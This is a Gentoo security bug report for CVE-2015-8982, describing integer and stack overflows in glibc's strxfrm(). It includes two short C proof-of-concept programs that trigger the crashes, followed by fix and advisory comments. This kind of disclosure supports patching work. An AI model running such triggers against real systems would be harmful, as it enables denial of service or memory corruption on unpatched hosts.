Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!

Bug 540070 (CVE-2015-8982)

Summary: <sys-libs/glibc-2.20-r2: multiple overflows in strxfrm()
Product: Gentoo Security Reporter: Agostino Sarubbo <ago>
Component: VulnerabilitiesAssignee: Gentoo Security <security>
Status: RESOLVED FIXED    
Severity: major CC: mike, toolchain
Priority: Normal    
Version: unspecified   
Hardware: All   
OS: Linux   
URL: https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=0f9e585480edcdf1e30dc3d79e24b84aeee516fa
See Also: https://sourceware.org/bugzilla/show_bug.cgi?id=16009
Whiteboard: A2 [glsa]
Package list:
Runtime testing required: ---
Bug Depends on: 516884, 544034    
Bug Blocks:    

Description Agostino Sarubbo gentoo-dev 2015-02-14 16:03:30 UTC
From ${URL} :

1. Joseph Myers discovered strxfrm is vulnerable to integer overflows
when computing memory allocation sizes (similar to CVE-2012-4412). i.e.
in string/strxfrm_l.c:

  idxarr = (int32_t *) malloc ((srclen + 1) * (sizeof (int32_t) + 1));

Attached strxfrm-int32.c should trigger on 32-bit machines.

2. Shaun Colley discovered strxfrm falls back to an unbounded alloca if
malloc fails making it vulnerable to stack-based buffer overflows
(similar to CVE-2012-4424) [1]. Attached strxfrm-alloca.c should
trigger.


Both issues were fixed in glibc 2.21 [2] and a quick check shows
vulnerable code appears to go back to at least glibc 2.3.

Please allocate CVEs for these issues. Many thanks.

--mancha

==============

[1] https://sourceware.org/bugzilla/show_bug.cgi?id=16009
[2] https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=0f9e585480ed

/* gcc -o strxfrm-alloca strxfrm-alloca.c */

#include <string.h>
#include <stdlib.h>
#include <locale.h>

#define BUFLEN 512000
 
int main(void)
{
  char *src = malloc(BUFLEN + 1);
  char *dst = malloc(BUFLEN + 1);
  char *avail = NULL;

  memset(src, 'A', BUFLEN);
  setlocale(LC_ALL, "en_US.UTF-8");

  do
    avail = malloc(BUFLEN);
  while(avail);

  int len = strxfrm(dst, src, BUFLEN);
  return 0;
}

/* gcc -o strxfrm-int32 strxfrm-int32.c */

#include <string.h>
#include <stdlib.h>
#include <locale.h>

#define BUFLEN 858993459

int main(void)
{
  char *src = malloc(BUFLEN + 1);
  char *dst = malloc(BUFLEN + 1);

  memset(src, 'A', BUFLEN);
  setlocale(LC_ALL, "en_US.UTF-8");

  int len = strxfrm(dst, src, BUFLEN);
  return 0;
}



@maintainer(s): after the bump, in case we need to stabilize the package, please let us know if it is ready for the stabilization or not.
Comment 1 SpanKY gentoo-dev 2015-02-17 08:09:11 UTC
fix is also in glibc-2.20-r2 now
Comment 2 GLSAMaker/CVETool Bot gentoo-dev 2016-02-17 15:38:36 UTC
This issue was resolved and addressed in
 GLSA 201602-02 at https://security.gentoo.org/glsa/201602-02
by GLSA coordinator Tobias Heinlein (keytoaster).